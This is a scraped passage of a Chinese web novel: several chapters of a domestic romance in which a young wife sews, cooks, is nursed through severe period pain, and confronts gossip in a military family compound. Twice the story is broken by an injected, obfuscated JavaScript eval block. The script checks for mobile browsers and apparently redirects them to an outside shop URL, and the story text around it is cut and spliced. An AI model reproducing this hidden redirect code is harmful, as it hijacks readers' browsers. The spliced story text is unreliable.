“对了,”吴小铃忽然想起什么,停下手里的活,“明天要不要跟我去县里的服装厂?” “我想去淘几块瑕疵布,我有个老姐妹在那上班,能给咱们留些好的,比供销社便宜不少。” 舒瑜惊喜道:“好啊!” “那成,明儿个我喊你。”吴小铃踩完最后一道线,把衣服叠好,站起来,“说好了啊,咱吃了早饭就走。” “你不知道,那瑕疵布也抢手得很,还是得早点去。” “行,吴姐慢走。” 厉关岳竖起耳朵听外头的动静,他松了口气,摊着的书面终于翻了个页。 舒瑜靠在门框上,笑他:“怎么还偷偷躲起来了?” 厉关岳气定神闲:“没躲。” “是吗?”舒瑜笑嘻嘻,“我不信。” 舒瑜:“怕我翻旧账啊?” 厉关岳不语,只一味否认:“没有。” “放心,我不是爱翻旧账的人,说过去了就过去了。” 厉关岳合上书,张开双臂,舒瑜走过去,被人一把揽住腰。 舒瑜踉跄几步,跨坐在厉关岳腿上,她一惊,捶了几下厉关岳的肩膀。 左边伤了,右边可好好的,可以出出气。 舒瑜眼睛一转:“五哥,你抱着我做什么?”她佯装惊恐地挣扎。 厉关岳:? 他下意识扶住舒瑜。 舒瑜:“你不是说把我当妹妹的吗?亏我我这么相信你,你个登徒子。” 厉关岳被气笑了。 说好的不翻旧账呢? 他贴在舒瑜后腰的手掌一用力,两人更贴近几分,他低头,眼里带着点危险的笑意,轻声细语地重复:“我是登徒子?” 舒瑜心虚一秒,梗着脖子点头:“嗯!” “噢。”厉关岳慢慢凑近,鼻尖几乎要碰到她的,温热气息打在她脸上,舒瑜下意识闭上眼…… 等了一会儿,什么都没发生。 舒瑜猛地睁开眼,厉关岳正望着她笑,在舒瑜眼里,满满都是戏谑。 舒瑜恼了,抬手又要捶他,厉关岳握住她的手腕,在她唇上轻轻啄了一下。 “不闹了,”厉关岳把舒瑜压在床上,“睡个午觉。” “都几点了还睡。”舒瑜嘀咕,她顺着他的力道躺下,本想着就眯上一会儿,可不知不觉地熟睡过去。 等她睡醒,一看外面的天色,已是傍晚。 她几下爬起来,明淮已经回来了,厉关岳正好要去食堂买饭。 舒瑜叫住他:“五哥,吴姐不是送了块腊肉吗?” “晚饭我来做。” 厉关岳知道舒瑜有本做菜“秘籍”,他闻言挑了挑眉,笑道:“舒大厨学有所成,我和明淮有口福了。” 舒瑜:“等着瞧吧你!”她转身进了厨房。 腊肉挂在灶台上方,她取下,淘完米,找出一口砂锅。 煲仔饭,她以前跟着教学视频做过一回,菜谱里也有步骤。 米下锅,加水,放到灶上慢慢煮,她把腊肉切成薄片,她刀功一般,切得并不均匀,但也勉强可以。 腊肉和青菜码在盘子里备用,再打三个鸡蛋,酱油、糖、几滴香油调成一碗料汁。 水烧开,她调小火,把腊肉片一片一片铺在米饭上,盖上锅盖,慢慢焖,做煲仔饭的火候很重要,太大了容易糊底,太小了腊肉的油沁不出来。 砂锅盖的缝隙里慢慢冒出白汽,食材的香气混在一起,让她馋的不行。 估摸着差不多了,她揭开锅盖,把两个鸡蛋磕进去,铺上青菜,又焖了几分钟,蛋清凝固,她撒上葱花,淋上料汁,最后沿着锅边淋了一小勺油。 她把整个锅端上桌,锅盖一掀,热气“腾”地冒上来,米香、肉香、葱香搅在一起,溢满整个屋子。 舒明淮鼻子一动,小跑过来:“小姑,好香!” 舒瑜:“可以吃了,去叫你厉叔叔。” 厉关岳:“来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366918|196725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舒瑜得意:“怎么样,这下对我刮目相看了吧!” 厉关岳笑着点头。 舒瑜高兴道:“开饭吧。” 厉关岳吃了一口,米饭咸香适口。 “好吃吧?”舒瑜用勺子伴着饭,眼角眉梢都是得意。 舒明淮第一个捧场,嘴里还嚼着腊肉片:“好吃!” 看着舒瑜那副尾巴快翘上天的模样,厉关岳面上弥漫开笑意:“色香味俱全,辛苦舒大厨了。” 舒瑜抬起下巴,一副“你知道就好”的表情:“知道我辛苦就好,快吃,吃完了给你换药!” 换药时间。 厉关岳坐在床沿,舒瑜对此非常熟练了,拆绷带、擦药水、换纱布,一气呵成。 绷带缠好,她帮他拉上衣服,手指在他领口一划,顺着脖颈往上,点了下他的喉结,指尖在他下巴轻轻刮了两下,手法和撸猫似的,厉关岳浑身又酥又痒。 厉关岳把她作乱的手包在自己两掌心里。 太热了,舒瑜挣开,不依不饶地继续。 舒瑜垂眼看他,指尖动作着,轻声道:“我最近那么辛苦,某人要不要犒劳我一下呢?” 她说着,目光不由自主地落在他唇上。 厉关岳的唇形很好看,她第一次见就注意到了,此刻的唇色是自然的粉,再无那日他急匆匆赶回家是的苍白无血色,唇角是似笑非笑的弧度,说不出的性感。 昨天是第一次亲到,虽然亲久了嘴疼,但说实话,真的很舒服,她除了生理上愉悦,更有心理上的餍足。 总之一句话,舒瑜有点馋他的嘴子。 厉关岳迎着她的视线,喉结轻轻滚动,他伸手,握住她那调皮的纤手,拉到唇边,嘴唇轻触她的指尖,眼睛却一动不动地注视她。 舒瑜一颤,眼神飘忽,她深吸一口气,想要收回被咬住的手,却使不上力气。 厉关岳轻笑:“想要什么犒劳?” 舒瑜咽了咽口水,目光又落到他唇上。 厉关岳轻叹一声,不等她回答,握着她的手慢慢收紧,把人往前带了一步,她步子零碎地上前,一只手撑在他肩上。 厉关岳按住她的后脑,在她唇上若即若离地碰了一下,恍若蜻蜓点水,引得人不上不下的。 厉关岳望着舒瑜呆呆的样子,眼底的笑意更加深切,他松开手,帮她顺了顺垂下来的头发,拢至她耳后,慢条斯理道:“够不够?” 舒瑜回过神来:“不够。”她挑衅地抓住厉关岳的衣领子,“就这?” 厉关岳被舒瑜突如其来的攻击性又是惊讶又是愉悦,他不再说话,选择任君施为。 舒瑜主动捧住了他的脸,她的手心微凉,手指贴在他下颌线两侧,轻柔又坚定地固定住他的脸,低头吻了下去。 她不太会亲,只是贴着蹭了蹭,又含住他的下唇轻轻咬了几口,像小动物磨牙,可她的虎牙有些锋利,厉关岳偶尔感到几下刺痛。 他也并不排斥,反倒觉得舒服。 舒瑜没想到在男色的蛊惑下,自己有朝一日会如此大胆。 可惜,多的不能做,怕厉关岳伤上加伤。 39. 第三十九章 “舒妹子,走了!”吴小铃的声音让人一听就觉得气血十足,舒瑜身体素质虽然好了些,但也是远远比不上吴姐的。 她羡慕不已。 “来啦!”舒瑜应了一声,拎上布袋子,大步出了门。 “娘,你就带上我吧,求你了!”魏子杰扒着吴小铃的腿,乞求道,“我都好久没去县里玩了。” “想啥呢,”吴小铃怒道,“你不上学啦!” “快给老娘松开!” 魏子杰哇哇大叫:“为什么不在我放假的时候去,你就是故意的!” 舒瑜犹豫地唤道:“吴姐……” 听见舒瑜的声音,魏子杰一出溜地从地上爬起来,红着脸道:“舒姐姐好。” 吴小铃嘴角一抽,拍了下魏子杰的背:“胡言乱语啥呢!” “叫婶婶!” 魏子杰懊恼,他和朋友在外面玩偶然碰见过一次舒婶子,她还给他们分了糖,他们几个私底下都说厉叔叔的媳妇那么年轻,他们都叫不出婶婶,私底下都叫她舒姐姐。 他低低叫了一声,便飞快跑走了。 两人等着公交车,好不容易到了县城,服装厂在城南,一溜灰扑扑的厂房,门口挂着服装厂的牌子。 吴小铃轻车熟路地带着舒瑜绕到后门,冲门卫室的大爷挥了挥手,径直走了进去。 “我老姐妹姓刘,叫刘秀华,在厂里干了十来年了。”吴小铃边走边说,脚步飞快,“咱们直接去库房那边,她们处理瑕疵布都有专门的地方。” 库房旁边的一间小屋里,一个四十来岁的女人正蹲在地上整理一堆布料,听见脚步声抬起头,看见吴小铃就笑了:“来了。” “那可不,有好事能落下我?”吴小铃熟络地拍了拍她的肩膀,侧身让出舒瑜,“这是我邻居,姓舒。” 舒瑜笑着叫了声:“刘姐好。” 刘秀华上下打量她一眼,笑道:“长得真俊,来吧,给你们留了几块好的,自己挑。” 她转身从架子上搬下一摞布料,一块一块摊开,这些都带着瑕疵的。 不过刘秀华提前挑过,这些布的瑕疵不仔细看根本瞧不出来,放在供销社里可都是要票要钱的,他们这就便宜很多,也不用布票。 吴小铃蹲下来,上手就翻,她挑得快,几块灰黑的料子被她抽出来叠在一边,目标明确。 刘秀华吐槽:“你咋次次挑这些黑的灰的。” “我就爱这些深色,怎么做都不会出错。”她头也不抬地说,再说,家里俩男的,还是买深色的省一点。 “还有我家那皮小子,穿别的色没几分钟就脏了,你是不知道,魏子杰天天在泥地里打滚,给他穿啥都是糟蹋。” 舒瑜在她旁边蹲下来,用手拨开几块深色的料子。 舒瑜着重挑浅色的,家里无论是厉关岳还是舒明淮,大的英俊,小的可爱,什么颜色都能尝试。 舒瑜把布料小心地收进布袋里,应着吴姐前头的话:“孩子活泼些也好,我家明淮性子太安静了,我反倒担心他在学校和同学相处不好。” 这时,刘秀华被人叫出去了,她走前说道:“你们先挑着,我马上回来。” 吴小铃:“放心。” 吴小铃闲不住话头:“你家老厉愿意穿这么亮的衣服啊?老魏可不行,除了黑的灰的,就是军绿的,给他做件别的色他能嫌得说个好几年。” 舒瑜拍拍布料上的灰,弯着眼睛笑:“我都做了,他还敢挑?” 吴小铃愣了一下,随即哈哈大笑起来:“对对对,就是这样,管他们穿不穿,惯得他们!” 舒瑜笑着,发现底下压着一块浅红色的布料,上面印着杜鹃花纹样,细细碎碎的小花,颜色亮而不艳,虽然有一处花纹印糊了,但整体看着还是很漂亮。 舒瑜眼睛一亮,抽出来叠好:“这个我也要。” 吴小铃凑过来看了一眼,啧啧两声:“这颜色好看,花纹也不错。” 舒瑜:“姐,那你自己挑块别的色啊,都要夏天了,穿黑的热啊。” 吴小铃一听,有道理,选来选去,又买了块蓝色的。 不一会儿,刘秀华回来了,她把剩下的布料收好。 付了钱,吴小铃道:“有好的再叫我啊!” 刘秀华睨她一眼:“得,我还能忘了你。” …… “我回来了!”舒瑜抱着鼓鼓囊囊的布袋推门进去,带着藏不住的雀跃。 厉关岳单手撑着地在做俯卧撑,听见动静,起身出房间。 舒瑜把布袋往桌上一放,捶了捶肩膀,长长地舒了口气:“坐车好难受。”她脸色确实有些白,额头沁出一层薄汗。 厉关岳去拧了块毛巾,递给舒瑜:“擦擦汗。” s舒瑜接过,抹了把脸,凉丝丝的很舒服,厉关岳放回毛巾,回来搂住舒瑜:“累了吗?” 舒瑜顺势靠在他肩头,脸颊在他肩头蹭蹭,仰起头笑,眼低亮晶晶:“不累,买了好多布呢。” 休息够了,舒瑜把碎布摊开,坐在桌前开始摆弄,她把布片一块一块拼起来,比划着颜色搭配,像在拼一幅画,拼好了再用针别住,用缝纫机把它们缝成了一大块。 缝好的布片摊开,她拿笔在上面画了个好多小猫的图案,圆脑袋,尖耳朵,一条卷卷的尾巴,简简单单几笔,活灵活现。 厉关岳虽然知道现在很多人的衣服都不是一整块的,大家都会这样用碎布缝合做衣服,可他们家不需要舒瑜这样省钱。 厉关岳:“怎么不用整的布料,不用省着,没有了再买。” 舒瑜抬起头,“高傲”地瞥他一眼,抬起下巴:“你懂什么,这都是我的设计!” 虽然欣赏厉关岳对她的大方,舒瑜还是嘟囔:“真不懂欣赏。” 厉关岳失笑,见舒瑜确实没有丝毫的勉强,便不再说什么。 随她吧,高兴就行。 舒瑜当然高兴,她把小猫一块块裁下来,要用这些装饰一条裙子。 之前的做黄裙子招虫子,夏天了她可不敢穿,怕再引来蜜蜂,拆掉给他俩做背心后自己就没再做裙子。 还有那块杜鹃花纹的布料,她要用来…… 两周后,厉关岳肩上的伤愈合得差不多了。 这两周,他们夜夜亲热,毕竟这时候晚上又没啥活动,没事只能做这些活动,但都是点到为止。 舒瑜为厉关岳的自制力赞叹之余,还有一丝丝不服气,见不得厉关岳那副游刃有余的样子。 舒瑜洗完澡出来。 厉关岳靠在床头看书,这些日子,书都被他翻烂了,休息久了也无聊。 他听见声响抬起头,一下子愣怔在那儿。 她穿着一件浅红色的吊带睡裙,呈一字的布料贴在锁骨下方,边缘镶着一圈粉色花边,露出锁骨和白皙的肩头,腰线微微收了一些,不紧不松,顺着身体的弧度垂下去,裙子长至小腿。 花朵的纹样印在裙身上,细细碎碎,花枝缠绕,几朵恰好落在胸口,花枝顺着腰线蔓延下去。 裙摆就像像五月里刚开的杜鹃花,衬得她整个人明媚动人。 她头发还没干透,几缕乌发贴在脖颈边,衬得皮肤更加白皙。 “好看吗?”她问。 厉关岳吸一口气,把书合上,扔在床头柜上。 “过来。”他低声道。 灯一直亮着。 昏黄的光笼着两个人,影子重叠在一起,分不清你我。 床单被她攥出褶皱,又慢慢舒展开,她的手攀上他的肩,又滑到他后颈,指尖插进他的短发里,慢慢地收紧。 第二天醒来,舒瑜瘫在床上,拉伸一下双腿,舒展了身体,身上有些不适,但还能忍受。 身边已经空了,厉关岳不知道什么时候起来的。 她换了衣服出了房间,堂屋里,舒明淮和厉关岳坐着一起,两人面前摊着一张纸,头挨着头,不知在琢磨什么。 “你们干嘛呢?”舒瑜凑过去。 舒明淮抬起头,挠挠头不好意思道:“厉叔叔教我下象棋。”他指着桌面上的纸,上面画着棋盘和棋子的图案,厉关岳正就着图案给他讲规则,各种棋子的走法和作用。 舒明淮虽听得很认真,可也不是一时半会能学会的,他有些失落:“活动课上,赵应松找我玩象棋,可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒瑜的黄色棋子一路往前冲,眼看就要追上厉关岳的红色棋子,她捏着骰子,嘴里念念有词:“让我数数,一、二、三。” 骰子一扔,正好三点! 正好停在厉关岳所在的格子上。 舒瑜“啪”地一下,把厉关岳的红色棋子撞出去,她得意一笑。 舒瑜转过头,一本正经地给舒明淮讲解:“要是走到别人的飞机格子里,就能把别人的飞机撞回原点。” “但如果别人一架以上的飞机在同一个格子里,自己的飞机会被弹回去。” 舒明淮连连点头,他仔细听着,努力理解规则,眼睛不动地盯着棋盘,小手点着自己的蓝色棋子,在心里默默算着步数。 接下来,舒瑜就盯上厉关岳了。 只要她的棋子能走到他的格子里,必定撞上去,毫不手软。 舒明淮就跟着欢呼,自己玩的时候也学着去撞厉叔叔的棋子,撞到了就咯咯笑。 厉关岳的红色棋子一次次被弹回原点,又一次次重新出发。 他倒也沉得住气,被撞了只是笑笑,继续掷骰子,偶尔抬头看舒瑜一眼,笑容带着点纵容的无奈。 舒瑜则只顾着撞他的棋子。 一局结束,舒明淮意犹未尽,四个蓝棋子全到了终点,舒瑜到了三个,只剩一个在路上,她得意洋洋地宣布:“我第二!” 舒明淮高兴得脸都红了:“我第一!” 厉关岳的红色飞机被撞惨了,他笑着摇摇头。 舒明淮念叨着明天要带去找赵应松玩。 舒瑜靠在椅背上,翘着腿,心情美好,只可惜厉关岳表情管理太好了,一点看不出他的情绪变化。 不过,舒瑜相信,某人一点气惨了,毕竟她以前和朋友玩的时候,总是被气得不行。 舒瑜朝厉关岳挑挑眉,厉关岳回以一个微笑。 瞧瞧,瞧瞧,笑里藏刀! 吓死个人。 舒瑜毫不留情地“恶意”揣测他。 厉关岳眼底的笑意更深了。 40. 第四十章 之后几天,舒瑜心里再次确认,厉关岳是个白切黑的小心眼。 那天飞行棋她撞了他多少回,晚上他便变本加厉地“撞”回来,舒瑜觉得身体都不是自己的了,反复地被拆散,又重新拼起来,早上起来腿软腰酸。 上回厉关岳去卫生所领的小雨伞都要用完了。 好在厉关岳伤养好,终于回部队去了。 舒瑜站在门口目送他走远,长长地舒了口气,心中庆幸自己活下来了。 这天早上,舒瑜是被小腹一阵隐隐的抽痛痛醒的,她迷迷糊糊睁开眼,身边已经空了。 她看了一眼放在床头的手表,赶紧爬起来,披了件外衣就去厨房热粥蒸馒头,明淮吃完早饭,背上书包出了门,舒瑜看着他的身影消失在院门口,才慢慢走回屋。 及时送明淮出了门,舒瑜才松一口气,坐下来休息,可小腹的疼痛却越来越明显。 疼痛钝钝的,直往下坠,像有一只手在肚子拧一下松一下,力度越来越大。 她弓着腰,双手捂住肚子,似乎能感觉到里面一阵一阵地痉挛,冷汗从额头冒出来,后背的的衣服甚至都湿了。 这种疼痛感她很熟悉。 舒瑜脑子里灵光一闪,这不就是痛经吗? 她脸色一变,终于意识到自己忘了什么。 她已经快三个月没来月经了! 刚开始想着要怎么装傻保命,解决陈志鹏,后来跟着厉关岳随军、安家,一桩接一桩的事,她竟把这事忘得干干净净。 完了。 这时候没有卫生巾,只能用自制的月经带,可她完全没有准备。 她咬着牙站起来,翻了柜子找出草纸和厉关岳没用完的纱布,先垫上应急。 她找出一块柔软的棉布,急急忙忙做了两条月经带,洗干净,拧干,晾在院子里。 做完这一切,舒瑜已经没什么力气了,她坐回去,只能捂着肚子,希望疼痛赶紧过去,也不敢躺床上,怕血染上被单被子。 太痛了。 她咬着下唇,脸色逐渐惨白,以前来的时候第一天也会不舒服,肚子会胀,腰也酸,可从来没有痛到这份上。 这具身体底子太差了,三个月没来,一来就来势汹汹。 舒瑜弓着身子,脸贴在桌面上,冰凉的桌面贴着滚烫的脸颊,肚子还是疼,疼得她眼眶发酸,视线都有些模糊了。 实在受不了了。 她慢慢站起来,扶着桌子,扶着门框,慢吞吞地挪到隔壁吴姐家门口,抬手敲响了门。 吴小铃来开门,看见舒瑜的样子,惊叫出声:“舒妹子,你咋了?” 舒瑜靠在门框上,额头的汗把碎发都打湿了,脸白得像纸,嘴唇毫无血色。 她张嘴,从嗓子眼里挤出声音:“吴姐,我痛经了……你能陪我去趟医院吗?” 吴小铃被她这副模样吓得不轻。 她活了这么多年,也是见过有人痛经的,但还是第一次见痛成这样的,吴小铃连忙伸手扶住舒瑜,急道:“快快快,我扶你去!” “部队医院离得咱家属院不远!” 吴小铃扶着舒瑜往医院走,一路上舒瑜的腿都是软的,大半的重量都靠在吴小铃身上,吴小铃力气大,一只手揽着她的腰,另一只手攥着她的胳膊,借力给舒瑜。 “再忍忍,马上就到了。”吴小铃也急出了一身汗。 部队医院不远,走路十来分钟。 吴小铃帮舒瑜取了挂号条子,舒瑜颤抖着手从兜里掏出钱给护士,小护士连忙叫其他护士来帮着扶住舒瑜。 护士和吴小铃合力把舒瑜扶进诊室。 诊室里是个女医生。 “这是怎么了?”医生感觉让舒瑜坐下。 舒瑜声音发抖:“医生,我痛经……” 医生皱眉,在她对面坐下,伸手搭上她的脉搏,又看了看她的脸色和唇色。 “以前也这样痛吗?” 舒瑜回忆着摇摇头,她母亲虽去的早,可她爹一向宠她,从不会让她缺衣少食,一直都好好的…… “最近身体怎么样?有没有受过什么伤,或者生过什么病?” 舒瑜老实说了:“在老家医院看过,营养不良,低血糖,前阵子还落过水。” “上次月经是什么时候来的?” 舒瑜愣了一下,算了算日子:“三四个月了吧。” 医生的眉头紧紧拧起,她又问了几个问题,舒瑜一一答了。 医生低头写处方,过了片刻,她把纸递过来。 “你这是月经病,身体太虚,营养不良,身体亏空得厉害,落水又受了寒,气血不足,寒凝胞宫,才会这么痛。” “回去好好休息,这几天别碰凉水,别吃生冷的东西。” “止痛药先吃着,我另外给你开几副中药,调理调理,你底子太差了,得慢慢养。” 吴小铃接过处方,问清楚去哪儿拿药,又问了煎药的法子,一一记下。 舒瑜对医生说了声谢谢,又转向吴小铃,有些不好意思:“麻烦吴姐了。” 吴小铃把她扶起来:“说这些干啥,赶紧把药取了回去休息。” 两人拿了药,吴小铃又一路把她送回家。 吴小铃给她倒了杯热水,看着她把止痛药吃了,才放心地走了。 临走时还叮嘱了一句:“有事就喊我。” 舒瑜点点头,认真感谢:“谢谢吴姐。” “客气啥,你都叫我一声姐呢!” 止痛药吃下去半个小时,舒瑜总算缓过来了。 阳光从窗户照进来,暖洋洋地铺了一地,她偏头看向窗外,月经带晾在绳子上,被风吹得轻轻摇晃。 今天日头好,布料干得快,她撑起来换上,垫上草纸纱布,这才真正松了一口气。 傍晚,厉关岳从部队回来,吴小铃正好在门口收衣服。 “厉团长。”吴小铃连忙喊住他。 厉关岳停下脚步,走过去:“嫂子?” 吴小铃压低声音,把今天的事说了一遍,着重讲了医生的嘱咐。 这不是她多事,实在是今天舒瑜那副模样把她吓着了,痛经痛得走不动路,她还是头一回见,她又怕舒瑜年轻,觉得不好意思,不知道事情轻重,自己硬扛着,这才多了一嘴。 厉关岳听着,神色一变,他连忙道了声“多谢嫂子”,转身大步往家走。 屋里,舒瑜几乎躺了一天,直到舒明淮放学回到家,她才爬起来。 她坐在桌边,脸色还是不太好,嘴唇没什么血色,但比早上好多了。 舒明淮趴在桌边写作业,时不时抬头看她一眼,明显有些心不在焉。 舒明淮担忧地问:“小姑,你生病了吗?” 舒 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舒瑜笑得更加灿烂,白天还蔫哒哒的人,被家人环绕着,已然忘记了疼痛委屈。 厉关岳叹气,去给舒瑜泡了碗红糖水。 夜幕降临。 厉关岳端着一杯温水进来,舒瑜接过杯子,她不爱喝热的,嘬了一口便放下。 厉关岳接过:“再喝两口,暖暖肚子好不好?”虽是商量的语气,可杯子已经递到她嘴边了,舒瑜瞥他一眼,不情不愿地喝了半杯,才把杯子推开。 自己现在太脆皮了,想想以前,冰咖啡、冰奶茶,都是她的最爱。 舒瑜歪歪扭扭地靠在床头。 不过,她偏头看了一眼坐在身边的厉关岳,他正把杯子放到床头柜上,侧脸的线条在灯光下更显得温柔。 对于厉关岳的担心和照顾,舒瑜还是挺享受的。 算了,被管一下就管一下吧,她的男人,她来宠。 舒瑜抓起他的手腕,把他的手掌拉过来,掀开自己的衣摆,直接贴在小腹上。 他的掌心温热,肉贴肉地覆上来,温度一点一点渗进皮肤里,舒服得她轻轻舒了口气。 “给我揉揉。”她说,语气霸道。 前段时间被他翻来覆去地折腾,连着几天腰酸腿软的账还没算呢,这下可算逮着机会了,她得好好“报复”回来。 要某人伺候一下,不过分吧? 厉关岳没说话,只是揽过她的肩膀,换了个姿势,他靠在床头,让她背靠着他坐着,这样就能把她一整个圈在怀里。 他的手掌重新贴上她的小腹,力道适中地揉起来,掌心贴着皮肤画圈。 舒瑜靠在他怀里,后背贴着他的胸膛,能感觉到他呼吸时的起伏,他的下颌轻轻贴着她的额头,呼吸落在她发顶。 时不时地,他低下头,嘴唇在她额角轻轻一碰,一会儿又在她发顶蹭着,亲她一口。 舒瑜闭着眼,曲着腿窝在他怀里,像是被一团温热的水包裹着,舒服得她昏昏欲睡。 她的睫毛垂着,厉关岳没忍住拨了一下,舒瑜没反应。 厉关岳凑到她面前,贴了贴她的脸。 舒瑜睡着了。 厉关岳小心地将她挪到被子里放平,抱紧她睡去。 41. 第四十一章 舒瑜好了之后,第一件事就是去县里买东西。 她先去供销社买了一斤鸡蛋糕,松软金黄的糕点用油纸包着,隔着纸都能闻到甜香,大人小孩都爱吃,送一包给吴姐表示感谢。 又去买了红糖和鸡蛋,这几天过去,家里的已经消耗完了。 载着满满的东西进了家属院,舒瑜扶着自行车走回家的路上,就觉出不对劲了。 一路上,总觉得有人看她。 几乎所有人的目光都探究地落在她身上,又在她回望过去的时候飞快移开。 她走过一排房子,有两个女人正站在门口说话,见她过来,话头停了,目光却偷偷地跟着她移动,她走过去一段路,侧过身,余光瞥见那两个人凑到一起,嘴巴又动起来。 舒瑜皱起眉头,她不知道发生了什么事,也没法直接过去问,人家又没有当面说她什么,她冲上去问,其他人也只会否认,倒显得她多事。 她加快了脚步,回到家,把东西收拾好,拎着鸡蛋糕就去了隔壁。 “吴姐,在家吗?” “在呢!”吴小铃的声音从屋里传出来,飞快迎到门口,拉着舒瑜的手往里走,“快进来,身体好些了吧?” 舒瑜笑着点头:“好多了,这几天都没什么事了。”她把鸡蛋糕递过去,“今天去县里,顺道买了点鸡蛋糕,姐你拿回去尝尝。” 吴小铃连连摆手:“哎哟,鸡蛋糕可不便宜,你拿回去给明淮吃吧,小孩子爱吃这个。” 舒瑜不让,把纸包往她手里塞:“家里还有呢,姐你就收下吧,那天多亏了你,要不然我一个人都不知道怎么办。” “也没多少东西,不值几个钱。” 两人推了两回,吴小铃见她坚持,便收下了,笑着说:“成,那我就收下了,不过以后可别这么客气了,咱们都是邻居,互相帮把手不是应该的?” “你再这样客气我都不好意思了。” 舒瑜笑着点头。 吴小铃拉着她坐下,给她倒了杯水,又问她这几天中药按时喝了没有,絮絮叨叨地说了好一会儿。 舒瑜一一答了,心里还惦记着刚才的事,便没有急着走。 聊了几句家常,舒瑜把话头转了过去:“吴姐,我刚才买东西回来,总觉得大家看我的眼神怪怪的。”她无奈地笑道,“也不知道是不是我的错觉。” 吴小铃一怔。 这些天,确实总有人来她这儿打听舒瑜的事。 那天她扶着舒瑜去医院,不少人看见了,回来就有不少人来问人问“厉团长家的这怎么了”这类的话。 她只说舒瑜不舒服,别的什么都没提。 可架不住有人反复来问,问得她烦了,这几天都没怎么出去跟人唠嗑。 她还真不知道家属院发生什么跟舒瑜有关的事了。 “这几天我也没怎么出去。”吴小铃想了想,“这样,我去打听打听,你别急,估摸着也没什么大事。” 舒瑜点点头,笑道:“那麻烦吴姐了,希望是我感觉错了吧。” 吴小铃:“这有什么麻烦的,你回去歇着,有信儿我告诉你。” 两人又说了几句,舒瑜才起身告辞。 第二天大中午的,吴小铃气冲冲地来找舒瑜。 舒瑜心头猜测是吴姐有了消息:“怎么了吴姐?” 吴小铃把她拉到屋里,门一关,话语间压不住火气:“我打听清楚了,现在家属院里都在传,说你生不了孩子,说厉团长迟早要跟你离婚呢!” “啊?”舒瑜愣住,扯了扯嘴角,只觉得离谱。 什么生不了孩子,什么离婚,这些莫名其妙的流言到底是从哪儿传出来的? 吴小铃吸了口气,越想越气:“我说呢,咋这么多人来我这打听那天你去医院的事,一个个的,原来是为这这事啊!” 舒瑜皱了皱眉,随即又舒展开,反倒安抚起:“我知道了,谢谢吴姐帮我打听,你也别气着自己了。” 吴小铃见她这样,反倒更担心了,叹了口气:“妹子,你也别太往心里去,你和厉团长结婚才多久呢,这些人的嘴就是闲不住,过阵子就消停了。” 舒瑜知道她是好意,点点头:“我知道,我们也不急着要孩子。” 什么生不了孩子这种话,对她来说不痛不痒的,可谁会愿意自己成为别人口中的谈资呢? 被人指指点点,总归是不舒服的。 吴小铃又安慰了几句,才起身回去。 舒瑜被这事闹的,也没心情做饭了,拿了饭盒去食堂买饭。 回来的时候,不少人吃完午饭正闲着,以前她路过,大家也就是点个头打个招呼,今天却不一样。 “哎呦,舒瑜你咋又去食堂买饭啊?” 说话的是个扎着两根麻花辫的女人,舒瑜连名字都叫不出,对方却一脸熟稔地叫她的名字,还带着一副责怪嫌弃的表情,“厉团长也不说说你,花钱大手大脚的,这可不行。” 舒瑜心里冷笑了一下。 就你了。 自己送上门来的,正好拿来当筏子把事情闹大。 她提起手里的饭盒晃了晃,带着笑意,语气平和道:“谢谢关心,不过我家关岳说了,让我不想做饭就去食堂买,他挣钱就是给我花的。” 曹春梅的脸色肉眼可见地僵了一下,舒瑜假装没看见,继续说:“其实我也想多做做饭学习一下,可关岳说我天天做饭还要洗衣服、照顾孩子,太辛苦了,他也是好意,我只能听他的了。” 舒瑜嘴角带笑,语气真诚。 曹春梅张了张嘴,一时间感到荒谬。 她没想到一个女人竟然能毫无负担地说出这些话,大家都是天天做家务,洗衣做饭的伺候家人,恨不得一个子儿掰成几瓣用,凭什么她…… 这个年代的劳动妇女大多勤劳朴实,为家庭付出一切,舒瑜心里是尊敬的,但总不能以此为标榜,要求所有女人都这样,如果别人做不到,就堂而皇之地鄙视教育对方。 每个人都有选择自己生活方式的权利,这话放到她生活过得那个未来社会,也还只是一个美好向往,并不是每个人都能做到。 不是不想,是这个社会方方面面无形的压迫,让太多女人从生下来就没有选择的权利,她们是不得不过那样的日子。 曹春梅脸上是一副“你怎么能这样”的表情,舒瑜没打算去改变教育别人,这是时代的局限,她改变不了。 舒瑜表情淡淡,曹春梅却忍不住了。 “你连孩子都生不了,肚皮没用了,还以为你男人会忍你一辈子吗?” 舒瑜没跟她争执,她本来就没打算拿这个人开刀,只是想找到流言的源头。 “是谁告诉你的?”她直接问,“说我不能生孩子?” 曹春梅张大了嘴巴:“啊?” “医生从来没有说过我不能生。”舒瑜轻“呵”一声,“你们传这些谣言,是想故意破坏我和厉关岳的婚姻吗?” 曹春梅脸色变了,这帽子太大了,破坏军婚,她哪里担得起,她往后退了半步,声音都结巴了:“大、大家都这么传的……” “大家是谁?”舒瑜顺着她的话继续问,“你把她们都叫来,我们当面说清楚。” 曹春梅暗暗叫苦,这不得罪一圈人吗? 她脑子转得飞快,忽然灵光一闪,脱口而出:“是郝翠芬,是郝翠芬说的!” “她说她在医院听到的,说你子宫出问题了,不能生!” 舒瑜定定地看着她,郝翠芬虽然惊慌但没有躲避她的视线。。 舒瑜挑眉:“你确定吗?” 曹春梅见她不信,急得四下张望,正好看见不远处许小荷拎着水桶走过来,像是抓住了救命稻草,大声喊道:“小荷,小荷,你过来一下!” 许小荷愣了一下,她走过来:“曹嫂子,啥事啊?” 曹春梅一把拉住她,着急忙慌地问:“小荷,你说,舒瑜不能生那事,是不是郝翠芬传出来的?” 